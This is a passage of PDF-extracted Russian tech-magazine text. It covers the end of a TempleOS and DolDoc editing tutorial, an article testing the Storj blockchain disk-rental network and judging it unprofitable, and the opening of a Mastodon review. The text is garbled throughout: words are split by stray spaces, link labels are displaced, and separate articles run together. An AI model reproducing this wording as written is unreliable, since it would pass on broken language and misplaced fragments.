най ти некото рые отли чия. К  при меру,  здесь нет фун кции main(),  вмес то нее
код прос то исполня ется под ряд, как в бей сике или JavaScript. Имен но по этой
при чине все, что ты набира ешь в коман дной стро ке, сра зу же исполня ется.

Еще ты можешь заметить, что Дэвис сво бод но исполь зует в коде гре чес ‐
кие  бук вы.  Это  воз можно  бла года ря  тому,  что  TempleOS —  сис тема  прод ‐
винутая и под держи вает вось мибит ные коды ASCII.

Ес ли  это го  недос таточ но,  что бы  вос хитить  тебя,  открой  любой  файл
с игрой и узри невидан ное: спрай ты встав лены пря мо в код!

Ес ли  навес ти  кур сор  на  спрайт  и  нажать Ctrl‐R,  то  появ ляет ся меню  редак ‐
тирова ния. Гра фичес кого редак тора как таково го в TempleOS нет, но он и не
нужен,  ког да  ты  можешь  прос то  выбирать  инс тру мен ты  по  оче реди
и рисовать, что тебе заб лагорас судит ся.

Как ты уже мог догадать ся, исходные коды HolyC — это такие же докумен ты
DolDoc,  как и все,  что  ты видишь в TempleOS. Имен но поэто му в них мож но
нап рямую встав лять кар тинки.

РЕДАКТИРУЕМ DOLDOC
Что ж, нас тало вре мя пос тичь тай ны DolDoc и соз дать свой документ. Сде лать
это про ще прос того, дос таточ но вос поль зовать ся коман дой Ed:

Cd("C:/Home");
Ed("Doc.DD");

Но вый  документ  сра зу  откро ется  в  редак торе  —  можешь  записать  в  нем
какие‐нибудь свет лые мыс ли. Если же ничего тол кового на ум не при дет,  то
открой  меню  встав ки  (Insert)  и  вос поль зуйся  одним  из  встро енных  «ора ‐
кулов».  Коман да  GodWord  вста вит  в  текст  псев дослу чай ное  (то  есть  выб ‐
ранное  за  тебя  Гос подом)  сло во  из Биб лии, GodBiblePassage — слу чай ный
отры вок  Свя щен ного  Писания,  а  GodSong  и  GodDoodle  пред назна чены
для соз дания и встав ки псев дослу чай ных мелодий и кар тинок.

Преж де чем ты пот ратишь оста ток дня на изу чение того, что выда ет «ора кул»,
раз реши рас ска зать тебе про дру гой полез ный пункт меню —  Insert → Text‐
Widgets.  Здесь  на  выбор  пред лага ется  мно го  занят ных  вещей,  но  самая
полез ная  из  них —  это  гипер ссыл ка.  Что бы  сос лать ся  на  дру гой  документ,
выбирай  Link  и  в  сле дующем  меню  —  тип  ссыл ки.  Ссы лать ся  мож но
на заранее соз данный якорь, подс тро ку, стро ку по номеру и так далее.

Для при мера соз дадим ссыл ку на файл Doc 2.DD.

Наж ми Esc, что бы под твер дить, и ты уви дишь, что ссыл ка добави лась в текст.

Те перь если ты наж мешь Ctrl‐T, то уви дишь, как ссыл ка выг лядит в тек сто вом
пред став лении.

Вот она, в пос ледней стро ке:

$LK, "This is a link", A="FF:Doc2.DD,1"$

Зна ки   огра ничи вают тег,   — это шорт‐код ссыл ки, через запятую идет ее
текст в кавыч ках, а параметр   ука зыва ет путь к фай лу и номер стро ки в нем.
Как видишь, ничего слож ного.

$ LK
A

Те перь пос мотрим, как вста вить в текст кар тинку. Выбирай Insert → Graph‐
icResource → Make Sprite и, нап ример, PolyLine. Обра ти вни мание, что где ты
нарису ешь кар тинку, там она и будет встав лена в текст. Удоб но и наг лядно!

Для  завер шения  кон тура  клик ни  пра вой  кноп кой  мыши.  Если  уже  закон чил
с кар тинкой, жми Esc, и вер нешь ся к редак тирова нию докумен та (и пусть тебя
не сму тит мигание: нарисо ван ный тобой кон тур мига ет, потому что тек сто вый
кур сор  сто ит  на  его  номере).  Если  нуж но  добавить  что‐то  еще,  сно ва  жми
пра вую  кноп ку  мыши,  и  вер нешь ся  в  меню  выбора  фигур.  Ког да  кар тинка
будет готова, выбирай Exit Sprite в самом низу.

Ри совать, меж ду про чим, мож но не толь ко плос кие фигуры, но и 3D! В меню
редак тирова ния спрай та есть пункт Create or Edit 3D Mesh, который перене ‐
сет тебя в трех мерный редак тор. Сам автор приз нает ся, что 3D‐модели рова ‐
ние — это «боль в попе», но нам с божь ей помощью уда лось нарисо вать неп ‐
лохой крас ный тре уголь ник.

Не пок ривив душой, можем ска зать, что редак тор DolDoc — это луч шее, что
есть в TempleOS. Он дела ет сис тему инте рес ней шим твор ческим инс тру мен ‐
том, который поможет тебе тво рить и сла вить Гос пода.

Кста ти,  сам  Дэвис  любит  рисовать  в  этом  редак торе  комик сы  про  раз ‐
говоры  Моисея  с  Богом.  Нап ример,  Моисей  говорит:  «Арфы  слиш ком
тяжелые», а Бог ему отве чает: «Мы дол жны укре пить обла ка».

НАПУТСТВИЕ
Итак,  мы  поз накоми ли  тебя  с  осно вами  TempleOS.  Наш  скром ный  обзор
не  опи сыва ет  и  малой  час ти  осо бен ностей  и  нюан сов  этой  замеча тель ной
сис темы, но если ты кре пок духом, то читай ману алы, и тебе откро ется такая
прор ва зна ний, о которой ты не мог и меч тать.

Мы  бы  вста вили  в  статью  ссыл ки  на  нуж ные  стра ницы  справ ки,  но,
к сожале нию, ты чита ешь этот текст не в TempleOS и перей ти по ним не смо ‐
жешь. Впро чем, не беда — ссыл ки на справ ку по сис теме ты можешь най ти
в любом окне тер минала или в домаш нем меню.

Край не полезен, к при меру, спи сок встро енных команд для работы с фай ‐
лами.

Ре комен дуем так же про честь FAQ и дру гие ввод ные раз делы. Там ты най дешь
цен ные  советы  вро де  такого:  «Если  меня ешь  фай лы  в  катало ге  Home,
не забудь перезаг рузить ся. Пра виль но иметь на дис ке два раз дела TempleOS
на  слу чай,  если  допус тишь  син такси чес кую  ошиб ку  в  одном  из  стар товых
фай лов и сис тема не смо жет заг рузить ся. Прос то гру зись со вто рого раз дела
и мон тируй пер вый фун кци ей Mount()».

Для  наибо лее  про дук тивной  работы  сто ит  изу чить  кла виатур ные  сочета ния
и  про чие  шот каты.  Нап ример,  кла виша  «Про бел»  выбира ет  пун кты  меню,
а двой ной клик пра вой кноп кой мыши поч ти всег да озна чает «назад».

В общем,  учись,  экспе римен тируй и не  забывай бла года рить Бога  за  то,
что он дал тебе воз можность выбирать опе раци онную сис тему по сво ему вку ‐
су и разуме нию!
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Ес ли у тебя без лимит ный интернет и пол но сво бод ного мес ‐
та на дис ке, ты можешь поп робовать на этом зарабо тать. Мы
рас ска жем,  как  блок чейн  исполь зуют  для  хра нения  дан ных,
и про ведем экспе римент с крип тохра нили щем Storj. Пре дуп ‐
редим  сра зу:  купать ся  в  день гах  не  вый дет,  зато  получит ся
при кос нуть ся к будуще му.

Па ру лет назад в «Хакере» уже была статья о необыч ных спо собах хра нения
и  переда чи  фай лов  («

»). С тех пор популяр ность стал набирать новый метод, который называ ют
«туманом» или  «спус тившим ся  обла ком»  (не  путать  с  bitcoin  fog — методом
запуты вания тран закций). Его суть в том, что фун кции облачно го про вай дера
может выпол нять не какой‐то опре делен ный дата‐центр, а тысячи компь юте ‐
ров  в  еди ной  пирин говой  сети.  Каж дый  из  них  выделя ет  часть  сво их  прос ‐
таивающих ресур сов, а его вла делец получа ет за это воз награж дение. Нап ‐
ример, он может пре дос тавлять в общее поль зование часть сво бод ного мес ‐
та на сво ем дис ке и тра фик для обра щения к нему.

Как  пересы лать  боль шие  фай лы  надеж но  и  незамет ‐
но?

Не кото рую  популяр ность  уда лось  заво евать  «туман ным»  сер висам  син ‐
хро низа ции фай лов — нап ример, BitTorrent Sync  (ныне — Resilio Sync) и его
сво бод ному ана логу  . Одна ко они хороши толь ко для дуб лирова ния
дан ных меж ду доверен ными узла ми. Вырас ти до мас шта бов гло баль ных P2P‐
хра нилищ им не дают кон цепту аль ные огра ниче ния и отсутс твие финан совой
заин тересо ван ности учас тни ков.

Syncthing

Ис пра вить положе ние взя лись дру гие раз работ чики рас пре делен ных сис ‐
тем.  Чаще  все го  идея  этих  стар тапов  сос тоит  в  том,  что бы  сде лать  свое
туман ное обла ко с блок чей ном и хешами. Для это го дос таточ но раз местить
его в P2P‐сети, которая объ еди нит всех заин тересо ван ных учас тни ков. Одни
смо гут  дешево  получить  любой  мыс лимый  объ ем  дис кового  прос транс тва,
а  дру гие  —  пре дос тавить  его  часть  за  воз награж дение.  Блок чейн  здесь
исполь зует ся сра зу с дву мя целями: для гаран тии целос тнос ти дан ных и для
упро щения вза имо рас четов.

BLOCKCHAIN В ХРАНЕНИИ ДАННЫХ
Тех нология  blockchain  час то  ассо циирует ся  с  крип товалю той,  пос коль ку
впер вые  широко  исполь зовалась  для  ее  соз дания.  Одна ко  она  допус кает
и мно жес тво дру гих при мене ний. По сути, блоч кейн — это тип рас пре делен ‐
ной базы дан ных, все записи в которой хра нят ся в фор мате цепоч ки бло ков.
Сами  же  записи  могут  быть  о  любых  вза имо дей стви ях  (тран закци ях)  меж ду
учас тни ками — не обя затель но финан совых. Это могут быть и записи о фай ‐
лах, хра нимых в пирин говой сети.

Не зави симо  от  содер жимого,  цепоч ки  бло ков  пол ностью  или  час тично
дуб лиру ются на всех узлах одно ран говой сети,  что обес печива ет целый ряд
свой ств:

пол ную или час тичную децен тра лизо ван ность. Дан ные хра нят ся бук валь но
вез де, и нет  какого‐то опре делен ного мес та,  куда  за ними может отпра ‐
вить ся АНБ или где их вне зап но смо ет цунами;

•

вы сокую избы точ ность. В слу чае P2P‐сети исчезно вение нес коль ких узлов
не  игра ет  роли —  ты  получишь  свои  фай лы  от  дру гих,  даже  не  заметив
проб лемы;

•

вы сокую  отка зоус той чивость.  Веро ятность  одно момен тно го  отка за  всей
пирин говой  сети  близ ка  к  нулевой.  Какие‐то  узлы  все  рав но  оста нут ся
дос тупны ми,  а  осталь ные  син хро низи руют ся  с  ними  при  пер вой  воз ‐
можнос ти;

•

за щиту  от  слу чай ных  и  пред намерен ных  модифи каций  дан ных.  Рас пре ‐
делен ная  база  не  име ет  уяз вимос тей,  типич ных  для  локаль ной  БД.
Никакой зло дей не пов редит ее и не переза пишет сущес тву ющие бло ки;

•

ши рокую  полосу  про пус кания.  Ско рость  соеди нения  в  P2P‐сети  будет
рас ти по мере появ ления новых и более быс трых узлов.

•

Все эти свой ства обес печива ет крип тогра фия с откры тым клю чом и задан ная
слож ность вычис ления хешей стро го опре делен ного вида.

КРИПТОВАЛЮТЫ И ДРУГАЯ КРИПТОТА
Блок чейн  помога ет  защитить  дан ные  от  фаль сифика ции,  слу чай ных  иска ‐
жений,  цен зуры  и  боль шинс тва  видов  атак,  которым  под верже ны  обыч ные
(локаль ные) базы. К тому же он обес печива ет лег кий учет машин ных ресур сов
и воз можность начис лять воз награж дение за их пре дос тавле ние.

Скрес тить бит койн с бит торрен том пытались уже мно го раз. Помимо ори ‐
гиналь ного алго рит ма Bitcoin, для это го про бова ли исполь зовать и его фор ‐
ки. Нап ример, Primecoin под купал  тем,  что вмес то бес смыс ленно го обсче та
хешей  выпол нял  поиск  опре делен ных  пос ледова тель нос тей  прос тых  чисел,
общий вид которых опи сал Алан Кан нингем.

Ал горитм Primecoin при менял ся в сер висе хра нения дан ных Datacoin. Его
учас тни ки  получа ли  одно имен ную  крип товалю ту  в  качес тве  воз награж дения
за пре дос тавлен ное мес то. В про шед шем вре мени потому, что общий инте ‐
рес к про екту сей час силь но угас. Сама идея была неп лоха, а вот нас коль ко
неудач ной ока залась ее реали зация, вид но из гра фика котиро вок Datacoin.

Сто имость Datacoin стре мит ся к нулю

Пла тить крип товалю той за дис ковое прос транс тво пред лагали и авто ры про ‐
екта  Filecoin  ( ).  Одна ко  их  Twitter  не  обновля ется  уже  год,  а  пос ледняя
запись в их офи циаль ном бло ге и вов се датиру ется июлем 2014‐го.
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Дру гой  под ход  к  хра нению  дан ных  исполь зовала  груп па  уче ных  из  Mi‐
crosoft Research. Они соч ли тех ничес ки невоз можным сов местить крип тогра ‐
фичес кую надеж ность и «полез ные» вычис ления и пред ложили 

. В отли чие от Datacoin она вып лачива ется не за само
мес то,  а  за  ска чива ние  и  дол говре мен ное  хра нение  фраг ментов  рас пре ‐
делен ной  базы  дан ных.  Пери оди чес ки  запус кает ся  про вер ка  заг ружен ного
кон тента по  хешам,  что и  слу жит осно вани ем для начис ления  крип товалю ты
кон крет ным учас тни кам пирин говой сети.

собс твен ную
крип товалю ту Permacoin

По ка  что  эффектив нее  все го  переп родавать  чужие  дис ковые  объ емы
получа ется у Storj Labs — молодой ком пании из Атланты. Три года назад ее
осно вате ли  пред ложили  «новый» метод рас пре делен ного  хра нения фай лов,
скром но наз вав его в честь ком пании. Она по‐преж нему на пла ву, а котиров ‐
ки одно имен ной крип товалю ты Storjcoin X понем ногу рас тут и, воз можно, под ‐
нимут ся еще чуть‐чуть пос ле оче ред ного упо мина ния в прес се.

Ко тиров ки Storjcoin X

Об щий  прин цип  «револю цион ного метода»  Storj  тот  же,  что  и  у  дру гих.  Все
фай лы поль зовате лей делят ся на бло ки, шиф руют ся, свя зыва ются в блок чейн
и рас сыла ются по узлам пирин говой сети. Отли чия кро ются в важ ных деталях.

Во‐пер вых,  хра нить  сами  фай лы  в  блок чей не  ник то  в  здра вом  уме
не  собира ется.  Ина че  пара  пор нокол лекций  положи ла  бы  всю  пирин говую
сеть уже на началь ном эта пе. Раз мер цепоч ки вырос бы до терабай тов, а вре ‐
мя  ее  син хро низа ции  устре милось  бы  в  бес конеч ность.  Поэто му  вмес то
самих  фай лов  в  блок чейн  отправ ляют ся  толь ко  их  метадан ные.  Объ ем
метадан ных в Storj сей час сос тавля ет менее килобай та на файл незави симо
от  его  раз мера.  Таким  обра зом,  для  хра нения  записей  о мил лионе фай лов
в  блок чей не  пот ребу ется  не  более  гигабай та.  Это  уже  при емле мо,  но  все
рав но  мно гова то.  В  Storj  ищут  спо собы  более  эффектив ной  ком прес сии
метадан ных, что бы ужать рас пре делен ную базу еще силь нее. Впол не реаль ‐
но сжать ее в два‐три раза, но пока  .и так сой дет™

Во‐вто рых, весь код в Storj откры тый. Никаких сек ретов — бери и смот ри.
В‐треть их, Storj неп лохо докумен тирован. В августе 2014 года соос нователь
и  исполни тель ный  дирек тор  Storj  Labs Шон  Уил кинсон  опуб ликовал  вмес те
с  Джи мом  Лоури  статью  «Метадиск:  при ложе ние  для  децен тра лизо ван ного
хра нения фай лов на базе блок чей на» ( ), где опи саны основные прин ципы
будуще го Storj.
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Глав ной целью про екта было соз дание «прин ципи аль но новой и обще дос ‐
тупной  плат формы  рас пре делен ного  фай лового  хра нили ща»,  более  надеж ‐
ного  и  более  рен табель ного,  чем  тра дици онные  обла ка  на  базе  круп ных
дата‐цен тров.  Так  появил ся Metadisk —  прос тое  при ложе ние  для широко го
кру га  поль зовате лей  и  прог рам мные  интерфей сы,  которые  поз воля ют
добавить  P2P‐хра нили ще  к  любому  про екту.  Их  объ еди нил  ,
который  сегод ня  поч ти  дорос  до  юза бель ного  уров ня.  Сегод няшнее  сос ‐
тояние Storj деталь но опи сыва ется в более новой науч ной работе Уил кинсо на
и его кол лег ( ).

сер вис  Storj
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Дру гие инте рес ные  свой ства Storj  каса ются одно имен ной  крип товалю ты.

Сна чала в Storj  исполь зовалась Datacoin,  но потом появи лась своя — Storj‐
coin X  (SJCX). Обыч но в  любом блок чей не валюта  генери рует ся в про цес се
май нин га, который тре бует зна читель ных вычис литель ных ресур сов. Генера ‐
ция  нового  бло ка  счи тает ся  доказа тель ством  про делан ной  работы  (PoW,
proof  of  work),  и  за  нее  начис ляют ся  вир туаль ные  монет ки.  Зарабо тан ную
крип товалю ту мож но переда вать как внут ри той же децен тра лизо ван ной сети,
так и в дру гих сетях (через бир жу) или обме нивать на тра дици онные валюты.

В  Storj  схе ма  сов сем  дру гая.  Вся  крип товалю та  SJCX  была  выпуще на
перед  пуб личным  запус ком  про екта  в  2014  году. Все  500 мил лионов монет
уже  эми тиро ваны  в  ходе  пре май нин га,  и  сей час  май нить  нечего.  Поэто му
при отсутс твии дру гих зна чимых фак торов сто имость SJCX будет рас ти про ‐
пор циональ но  уве личе нию  пирин говой  сети.  Это  деф ляци онная  модель  —
пол ная про тиво полож ность инфля цион ной, с  которой мы стал кива емся каж ‐
дый  день.  Инфля ция  умень шает  покупа тель ную  спо соб ность  тра дици онных
валют по мере уве личе ния денеж ной мас сы.

Об щее  количес тво  SJCX  жес тко  огра ниче но  алго рит мом,  а  жела ющих
получить  эти  монет ки  все  боль ше.  Если  сама  идея  рас пре делен ного  хра ‐
нения дан ных выгорит, то котиров ки SJCX про дол жат рас ти и даль ше.

От сутс твие  май нин га  в  теории  поз воля ет  сда вать  в  арен ду  мес то
на накопи теле любого устрой ства с про цес сором. Сей час есть готовые кли ‐
енты  для Windows, Debian  Linux  и macOS. Но  пос коль ку  исходни ки  откры ты,
есть воз можность пор тировать их на все что угод но, вклю чая NAS и роуте ры
с про шив ками вро де OpenWRT и DD‐WRT.

В мар те 2017 года вла дель цы Storj объ яви ли о том, что пла ниру ют перевес ти
свою крип товалю ту с блок чей на Bitcoin на Ethereum. Шон Уил кинсон при водит

 по срав нению с Bitcoin и обе щает в ско ‐
ром вре мени опуб ликовать под робный план миг рации. Пока извес тно лишь,
что вла дель цы SJCX получат вза мен ста рых монет новые по кур су 1:1.

це лый спи сок дос тоинств Ethereum

Имен но  c  блок чей ном  Ethereum  сегод ня  свя зано  все  боль ше  рас пре ‐
делен ных баз дан ных и уни каль ных сер висов. По заказу Бан ка Рос сии ассо ‐
циация «Фин тех» соз дала сис тему иден тифика ции кли ентов  . Ac‐
ronis  раз работа ла  уни вер саль ное  прог рам мно  опре деля емое  хра нили ще
дан ных  (SDS, software‐defined storage). Microsoft и вов се пред лага ет модель
Ethereum Blockchain  as  a  Service  (EBaaS),  которую  лег ко  может  опро бовать
любой раз работ чик.

Masterchain

Под робнее  об  Ethereum  и  о  кон цепции  умных  кон трак тов  ты  можешь
узнать  .из темы номера «Хакера» за июль 2016 года

ПОДКЛЮЧАЕМСЯ К STORJ
При соеди нить ся  к  сети  Storj  и  сда вать  диск  в  арен ду  нес ложно.  Заходишь
в раз дел   на сай те про екта, ска чива ешь кли ент Storj для сво ей
опе раци онки и запус каешь его. Некото рые анти виру сы будут ругать ся на вин ‐
довый кли ент Storj, но их реак ция выг лядит как лож нополо житель ное сра баты ‐
вание эвристи ки при стол кно вении со слиш ком уж необыч ной прог раммой.

Rent your drive

Storj

При  пер вом  запус ке  Stroj  Share  пот ребу ется  ввес ти  номер  кошель ка
для получе ния Storjcoin X. Он ука зыва ется в фор мате Bitcoin, поэто му мож но
исполь зовать  сущес тву ющий  или  соз дать  новый  —  нап ример,
на  . Авто риза ция там адская. Сер вер генери рует пароль ную фра ‐
зу  из  две над цати  слу чай ных  слов,  которые  затем  надо  вво дить  по  одно му
с  экранной  кла виату ры.  Счи тает ся,  что  это  повыша ет  безопас ность,
но  мучений  мас са,  а  сов ремен ные  кей лог геры  все  рав но 

.

Counterparty

об ходят  эти  хит ‐
рости

Бе зопас ность через неудобс тво

Пос ле  вво да  адре са  оста нет ся  выпол нить  нехит рые  нас трой ки  и  нажать
на кноп ку Start. В базовых нас трой ках необ ходимо ука зать пре дос тавля емый
в  арен ду  объ ем  дис кового  прос транс тва  и  путь  для  хра нения  чужих фай лов
(точ нее, зашиф рован ных бло ков).

Нас тра иваем Storj Share

В  качес тве  накопи телей целесо образнее  все го исполь зовать обыч ные жес ‐
ткие дис ки — и  не  толь ко  из‐за  выгод ного  соот ношения их  цены и объ ема.
Кли ент Storj Share обра щает ся к дис ку по нес коль ку раз в секун ду, а зна чит,
флеш ка или SSD дол го не про дер жатся.

Пос тоян ная переза пись лога в Storj

Вни зу  окна  появ ляет ся  уве дом ление  о  том,  что  по  умол чанию  вклю чена
телемет рия. Отклю чить ее мож но в рас ширен ных нас трой ках. Там же нас тра ‐
ивает ся авто запуск, поведе ние прог раммы и под клю чение к сети.

Рас ширен ные нас трой ки Storj Share

При запус ке про цесс StorjShare.exe уста нав лива ет десят ки под клю чений — в
основном  к  сер веру    и  облачным  сер верам  Amazon  AWS.  В  окне
Storj Share  ты сна чала  уви дишь рас тущее  чис ло пиров,  затем нач нет  запол ‐
нять ся отве ден ное мес то.

storj.dk

Под клю чения Storj

Ты можешь заг лянуть в лог Storj, что бы пос мотреть, как он работа ет. Сна чала
кли ент  отправ ляет  зап рос  на  поиск  нод,  затем  про исхо дит  обмен  иден ‐
тифика тора ми и клю чами. Узлы сети регис три руют ся через storjtross.ddns.net.

Фраг мент лога Storj Share

С это го момен та про Storj мож но забыть на нес коль ко дней. Глав ное — убе ‐
дись, что в дис петче ре одновре мен но отоб ража ется три активных про цес са
Storj Share и на глав ном окне горит зеленая над пись 

.
Storj share is run‐

ning
Че рез какое‐то вре мя твоя нода прой дет кучу про верок, пос ле чего ста нет

(или нет) частью сети. Зависит от того, сколь ко мес та ты выделил, как дол го
оно  дос тупно  и  какова  ско рость  под клю чения.  Еще  обя затель но  нас тро ить
авто мати чес кую  син хро низа цию  сис темных  часов  с  NTP‐сер верами.  Рас ‐
хожде ния  в  секун ду  дос таточ но,  что бы  в  блок чей не  наруши лись  вре мен ные
мет ки, а твой узел исклю чили из Storj.

ДОХОД ДЛЯ ТЕРПЕЛИВЫХ
Для тес тов мы выдели ли 10 Гбайт на одном компь юте ре и 50 Гбайт на круг ‐
лосуточ но дос тупном мини‐сер вере. По мес тным мер кам это ерун да — нас ‐
тоящие фанаты  выделя ют  под  Storj  терабай ты. Общее  количес тво  нод  сети
Storj пока невели ко (чуть более десяти тысяч), но оно про дол жает рас ти. Кро ‐
ме обыч ных  поль зовате лей,  есть  «фер меры»,  которые  спе циаль но  накупи ли
емких дис ков в надеж де быс тро зарабо тать. Онлай новый каль кулятор обе щал
им поч ти дол лар в год с каж дого гигабай та, но все дело в при меча ниях мел ‐
ким шриф том. Забегая впе ред, ска жу, что у фер меров не получит ся даже оку ‐
пить вло жения.

На чис ления  в  Storj  сей час  про исхо дят  раз  в  месяц,  поэто му  нулевой
баланс ты будешь созер цать еще дол го. Мно гие бро сают раз давать гигабай ‐
ты  через  неделю,  думая,  что  при ложе ние  не  работа ет  или  их  прос то  обма ‐
нули. Толь ко спус тя неделю неп рерыв ной работы Storj начал заг ружать фраг ‐
менты чужих фай лов из P2P‐сети.

Прош ло 12 дней. Полет нор маль ный. Баланс нулевой

Ре аль но же  получить  при быль  с  арен ды дис ков мож но  толь ко  в  том слу чае,
если  у  тебя  уже  есть  все  железо,  бес плат ная  элек тро энер гия  и  ско рос тной
без лимит ный дос туп в интернет. То есть если ты ни за что не пла тишь, а толь ‐
ко  переп рода ешь  ресур сы,  которые  по  какой‐то  при чине  уже  есть,  но  не
исполь зуют ся.  Такое  быва ет  у  вла дель цев  бот нетов  и  у  адми нов:  клас теры,
сер веры,  да  и  прос то  рабочие  компь юте ры  ред ко  исполь зуют ся  на  100%.
Домаш ний поль зователь пла тит за все сам, поэто му Storj не ста нет для него
источни ком  при были.  Мак симум  —  позаба вит  и  час тично  пок роет  счет
за элек тро энер гию.

Из началь но  смысл  Storj  был  как  раз  в  том,  что бы  получить  нем ного
монеток за прос таивающие ресур сы. Пред положим, у тебя терабай тный винт,
а филь мами он забит толь ко на две тре ти. Кру тить ся он будет все рав но оди ‐
нако во — хоть пол ный, хоть пус той. Мож но про дол жать запол нять его медий ‐
ным кон тентом, а мож но уда лять прос мотрен ное кино и сда вать сот ню‐дру ‐
гую гигабайт в арен ду.

Ес ли же  ты пла ниру ешь про дать поч ку,  купить RAID‐мас сив и занимать ся
мас штаб ной сда чей дис ков в арен ду, то луч ше не торопись. Во‐пер вых, поч ка
еще  при годит ся,  во‐вто рых,  если  при кинуть  вло жения  и  еже месяч ные  зат ‐
раты, то выгода ока зыва ется сом нитель ной. Уве рен, что при желании дешев ‐
ле будет прос то купить SJCX на бир же, пока их обменный курс невысок.

Storj три един

STORJ — ДЛЯ РАЗРАБОТЧИКОВ
Ав торы Storj уве рены, что он будет инте ресен и раз работ чикам. Его откры тый

  поз воля ет  быс тро  прик рутить  «туман ное  хра нили ще»  вмес то  облачно го
к любому про екту.
API

«По  срав нению  с  облачны ми  сер висами  Storj  Labs  пред лага ет  более
высокие ско рос ти, повышен ный уро вень безопас ности и более рен табель ное
решение для хра нения дан ных. При помощи прос тых инс тру мен тов сеть Storj
может исполь зовать любой раз работ чик. Ему необя затель но быть экспер том
в области рас пре делен ных сетей или шиф рования», — заявил Уил кинсон.

Да же  код  офи циаль ного  кли ента  Storj  Share  мож но  лег ко  изме нить
при помощи Developer Tools.

Прос мотр HTML‐кода Storj как в бра узе ре

Са ма Storj Labs получи ла 3 мил лиона дол ларов еще на эта пе пред стар тового
финан сирова ния —  прос то  за  кра сивую  идею.  Часть  денег  была  пот рачена
на пре май нинг. Льви ная доля ушла на прод вижение про екта, и лишь остатки
этих вло жений пош ли на арен ду сер веров и собс твен но раз работ ку про екта.
Сре ди инвесто ров были Google Ventures и Qualcomm Ventures. Для них вло ‐
жить мил лион‐дру гой в оче ред ной стар тап — обыч ная прак тика. Про горят —
не  страш но,  зато,  если  про ект  взле тит,  они  получат  над  ним  кон троль  и  не
поз волят раз вить ся потен циаль ному кон курен ту.

Для осталь ных здесь скры вает ся целая боч ка дег тя. От вен чурных фон дов
и  кли ентов  раз работ чики  Storj  получа ют  реаль ные  день ги,  а  сво им  «арен ‐
додате лям» (то есть нам с тобой) начис ляют свою крип товалю ту, да еще и не
сра зу. Пока за нее дают на бир же всё боль ше реаль ных денег, но раз работ ‐
чики име ют мощ ные рычаги вли яния на обменный курс.

Да же  децен тра лиза ция,  с  которой  свя заны  все  теоре тичес кие  пре иму ‐
щес тва P2P‐сети, на прак тике получи лась лишь час тичной. Меж ду собой все
узлы прос тых поль зовате лей дей стви тель но рав ны, но если рух нут основные
сер веры про екта, то вско ре ляжет и вся сеть Storj.

Кра сивая  деф ляци онная модель  име ет  и  обратную сто рону:  авто ры Storj
пол ностью кон тро лиру ют свою крип товалю ту, а сами ведут рас четы с заказ ‐
чиками  в  дол ларах.  Сей час  они  берут  пол тора  цен та  за  гигабайт  в  месяц
и  еще  пять  цен тов  за  гигабайт  тра фика.  Новых  кли ентов  замани вают
как  обыч но:  пос ле  регис тра ции обе щают  25  Гбайт мес та  на  год  и  25  Гбайт
тра фика еже месяч но.

В  текущем  виде  такая  биз нес‐модель  нам  кажет ся  сом нитель ной.  Воз ‐
можно,  более  реаль ный  спо соб  зарабо тать  на  Storj —  это  запус тить  собс ‐
твен ный про ект «облачно го», «туман ного», «капель но‐жид кого» и какого угод ‐
но еще фай лового хос тинга. Затем сде лать удоб ные кли ент ские при ложе ния
и подоб рать  адек ватную сто имость  услуг. Это слож нее,  чем прос то меч тать
о  халяв ных  стор жко инах,  капа ющих  на  кру тящи еся  дис ки,  но  (в  отли чие
от крип тоуто пии) может сра ботать.

•FAQ по Storj
•Storj на GitHub
•Статьи «Хакера» про Ethereum

https://xakep.ru/2015/05/09/send-large-files-anonymous/
https://github.com/syncthing/
http://filecoin.io/filecoin.pdf
http://ieeexplore.ieee.org/document/6956582/
https://storj.io/metadisk.pdf
https://storj.io/
https://storj.io/storj.pdf
http://blog.storj.io/post/158740607128/migration-from-counterparty-to-ethereum
https://www.cryptocoinsnews.com/russian-central-bank-tests-transactions-on-ethereum-blockchain-prototype-masterchain/
https://xakep.ru/issues/xa/210/
https://storj.io/share.html
https://counterwallet.io/
https://xakep.ru/2015/11/17/keyloggers-2015/
https://storj.io/api.html
https://storj.io/faq.html
https://github.com/Storj/
https://xakep.ru/tag/ethereum/
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MASTODON — ОПЕНСОРСНЫЙ И РАСПРЕДЕЛЕННЫЙ КЛОН
TWITTER1

Да же  если  сер висом  поль зуют ся  мил лионы  людей,  это  не  зна чит,
что  он  зас тра хован  от  зак рытия.  А  уж  изме нения,  нап равлен ные
на  монети зацию  вмес то  инте ресов  поль зовате лей,  —  это  совер ‐
шенно  обыч ное  дело.  Соз датели    наш ли  инте рес ный
выход: если софт будет сво бод ным, а сер вер смо жет раз вернуть кто
угод но, то это сде лает сер вис прак тичес ки неуби ваемым.

Mastodon

Дни,  ког да поль зовате ли Twitter радова лись  каж дой новой фиче,
дав но прош ли: пос ледние новов ведения вызыва ют в основном кри ‐
тику,  а  нех роноло гичес кая  сор тиров ка  тай млай нов  в  вебовой  вер ‐
сии  для  мно гих  ста ла  пос ледней  кап лей.  Как  биз нес  Twitter  тоже
не  осо бен но  успе шен:  монети зиро вать  его  ока залось  нам ного
слож нее, чем, к при меру, Facebook.

Раз работ чики  «Мас тодон та»  решили  не  ждать,  пока  вла дель цы
Twitter окон чатель но заведут свой сер вис в тупик. Вмес то это го они
пред лага ют взять дело в свои руки — вер нее, дают сер верное ПО в
руки  людям.  Каж дый  может  уста новить  себе  сер вер  Mastodon
или  под клю чить ся  к  одно му  из  сущес тву ющих  узлов,  что бы  обме ‐
нивать ся ста туса ми с дру гими учас тни ками сети.

За регис три ровать ся  на    сей час  не  вый дет  —
количес тво  жела ющих  пока  что  слиш ком  велико.  Зато  дос тупен

,  из  которо го  ты можешь выб ‐
рать  любой  пон равив ший ся.  Глав ное —  не  забудь,  как  он  называ ‐
ется,  или  положи  в  зак ладки  (а  не  то,  как  и  я,  будешь  потом  отка ‐
пывать через менед жер паролей).

ос новном  сай те

длин ный спи сок сто рон них сер веров

Опи сывать  сам  Mastodon  осо бого  смыс ла  нет  —  это  клон  Twitter
с веб‐интерфей сом, напоми нающим популяр ный кли ент Tweetdeck.
Пожалуй,  самое  глав ное отли чие от  «Твит тера» — это раз решение
писать в ста тусах целых 500 зна ков. А еще ты можешь выб рать, пуб ‐
лично  пос тить  или  под  замок,  —  в  Twitter  эта  нас трой ка  зада ется
толь ко целиком для акка унта.

Ну и конеч но, пока сер вис сов сем новый, отве тов на мно гие воп ‐
росы нет. Нас коль ко будут раз личать ся инстан сы Mastodon? Появит ‐
ся ли в них рек лама? Добавят ли под дер жку Mastodon раз работ чики
мно гочис ленных  кли ентов  «Твит тера»?  Вой дут  ли  в  моду  рас пре ‐
